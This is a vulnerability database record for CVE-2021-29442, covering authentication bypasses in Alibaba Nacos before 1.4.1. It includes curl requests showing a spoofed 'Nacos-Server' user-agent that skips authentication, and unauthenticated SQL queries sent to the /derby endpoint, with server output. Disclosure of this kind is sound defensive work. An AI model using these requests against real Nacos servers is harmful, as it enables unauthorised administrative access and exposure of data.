{"id":"CVE-2021-29442","aliases":["CVE-2021-29442","GHSA-36hp-jr8h-556f","GHSA-xv5h-v7jh-p2qh"],"related":["CVE-2021-29441"],"kind":"vulnerability","state":"published","title":"Authentication bypass","summary":"Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Nacos is a platform designed for dynamic service discovery and configuration and service management. In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out. While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users. These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)","source":"cvelist"},{"lang":"en","text":"When configured to use authentication (`-Dnacos.core.auth.enabled=true`) Nacos uses the `AuthFilter` servlet filter to enforce authentication. This filter has a [backdoor](https://github.com/alibaba/nacos/blob/5fa05aef52f7432aeab19fe53035431b9d8c91d9/core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java#L78-L81) that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the `user-agent` HTTP header so it can be easily spoofed.\n\nThe following request to the `configuration` endpoint gets rejected as we are not providing any credentials:\n```\n❯ curl -X POST \"http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld\"\n{\"timestamp\":\"2020-12-02T14:33:57.154+0000\",\"status\":403,\"error\":\"Forbidden\",\"message\":\"unknown user!\",\"path\":\"/nacos/v1/cs/configs\"}                                                                                                       \n```\n\nHowever the following one gets accepted by using the `Nacos-Server` user-agent header:\n```\n❯ curl -X POST -A Nacos-Server \"http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld\"\ntrue \n```\n\n#### Impact\n\nThis issue may allow any user to carry out any administrative tasks on the Nacos server.","format":"markdown","source":"ghsa"},{"lang":"en","text":"The [`ConfigOpsController`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java) lets the user perform management operations like querying the database or even wiping it out. While the [`/data/remove`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L133-L135) endpoint is properly protected with the `@Secured` annotation, the [`/derby`](https://github.com/alibaba/nacos/blob/57459227863485d064ff25b3d5e24e714dcf218f/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigOpsController.java#L99-L100) endpoint is not protected and can be openly accessed by unauthenticated users. \n\nFor example, the following request will list the tables of the database:\n```\n❯ curl -X GET 'http://console.nacos.io/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st'\n{\"code\":200,\"message\":null,\"data\":[{\"TABLENAME\":\"APP_CONFIGDATA_RELATION_PUBS\"},{\"TABLENAME\":\"APP_CONFIGDATA_RELATION_SUBS\"},{\"TABLENAME\":\"APP_LIST\"},{\"TABLENAME\":\"CONFIG_INFO\"},{\"TABLENAME\":\"CONFIG_INFO_AGGR\"},{\"TABLENAME\":\"CONFIG_INFO_BETA\"},{\"TABLENAME\":\"CONFIG_INFO_TAG\"},{\"TABLENAME\":\"CONFIG_TAGS_RELATION\"},{\"TABLENAME\":\"GROUP_CAPACITY\"},{\"TABLENAME\":\"HIS_CONFIG_INFO\"},{\"TABLENAME\":\"PERMISSIONS\"},{\"TABLENAME\":\"ROLES\"},{\"TABLENAME\":\"SYSALIASES\"},{\"TABLENAME\":\"SYSCHECKS\"},{\"TABLENAME\":\"SYSCOLPERMS\"},{\"TABLENAME\":\"SYSCOLUMNS\"},{\"TABLENAME\":\"SYSCONGLOMERATES\"},{\"TABLENAME\":\"SYSCONSTRAINTS\"},{\"TABLENAME\":\"SYSDEPENDS\"},{\"TABLENAME\":\"SYSDUMMY1\"},{\"TABLENAME\":\"SYSFILES\"},{\"TABLENAME\":\"SYSFOREIGNKEYS\"},{\"TABLENAME\":\"SYSKEYS\"},{\"TABLENAME\":\"SYSPERMS\"},{\"TABLENAME\":\"SYSROLES\"},{\"TABLENAME\":\"SYSROUTINEPERMS\"},{\"TABLENAME\":\"SYSSCHEMAS\"},{\"TABLENAME\":\"SYSSEQUENCES\"},{\"TABLENAME\":\"SYSSTATEMENTS\"},{\"TABLENAME\":\"SYSSTATISTICS\"},{\"TABLENAME\":\"SYSTABLEPERMS\"},{\"TABLENAME\":\"SYSTABLES\"},{\"TABLENAME\":\"SYSTRIGGERS\"},{\"TABLENAME\":\"SYSUSERS\"},{\"TABLENAME\":\"SYSVIEWS\"},{\"TABLENAME\":\"TENANT_CAPACITY\"},{\"TABLENAME\":\"TENANT_INFO\"},{\"TABLENAME\":\"USERS\"}]}% \n```\n\nThese endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)","format":"markdown","source":"ghsa"},{"lang":"es","text":"Nacos es una plataforma diseñada para el descubrimiento y la configuración dinámica de servicios y la administración de servicios.&#xa0;En Nacos versiones anteriores a 1.4.1, la función ConfigOpsController permite al usuario llevar a cabo operaciones de administración como consultar la base de datos o incluso borrarla.&#xa0;Si bien el endpoint /data/remove está protegido apropiadamente con la anotación @Secured, el endpoint /derby no está protegido y los usuarios no autenticados pueden acceder a él abiertamente.&#xa0;Estos endpoints solo son válidos cuando se usa almacenamiento integrado (derby DB), por lo que este problema no debería afectar las instalaciones que usan almacenamiento externo (por ejemplo, mysql)","source":"nvd"}],"published":"2021-04-27T20:09:17.000Z","modified":"2026-07-08T06:49:40.462Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"rating","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:L/Au:N/C:P/I:N/A:N","score":5,"rating":"MEDIUM"}],"cwes":["CWE-290","CWE-306"],"affected":[{"ranges":[{"version":"< 1.4.1","status":"affected"}],"vendor":"alibaba","product":"nacos","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.4.1"}],"ecosystem":"Maven","package":"com.alibaba.nacos:nacos-common","purl":"pkg:maven/com.alibaba.nacos/nacos-common","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.4.1"}],"ecosystem":"Maven","package":"com.alibaba.nacos:nacos-common","purl":"pkg:maven/com.alibaba.nacos/nacos-common","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.4.1"}],"vendor":"alibaba","product":"nacos","cpe":"cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/alibaba/nacos/issues/4463","tags":["exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/advisories/GHSA-36hp-jr8h-556f","tags":["advisory","exploit","third-party-advisory","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/alibaba/nacos/pull/4517","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-29441","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/alibaba/nacos/issues/4701","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/alibaba/nacos/pull/4703","tags":["web"],"sources":["ghsa"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-29442","tags":["advisory"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2021-29442","url":"https://www.cve.org/CVERecord?id=CVE-2021-29442","licence":"CVE Terms of Use","modified":"2024-08-03T22:02:51.966Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-36hp-jr8h-556f","url":"https://github.com/advisories/GHSA-36hp-jr8h-556f","licence":"CC-BY-4.0","modified":"2026-07-08T06:49:40.462Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-xv5h-v7jh-p2qh","url":"https://github.com/advisories/GHSA-xv5h-v7jh-p2qh","licence":"CC-BY-4.0","modified":"2026-07-08T06:49:40.462Z"},{"source":"nvd","name":"NVD","id":"CVE-2021-29442","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-29442","licence":"Public domain","modified":"2026-06-17T03:47:38.993Z"}],"updatedAt":"2026-11-25T22:58:01.063Z","epss":{"score":0.64205,"percentile":0.99245,"date":"2026-12-01T12:00:22.000Z"}}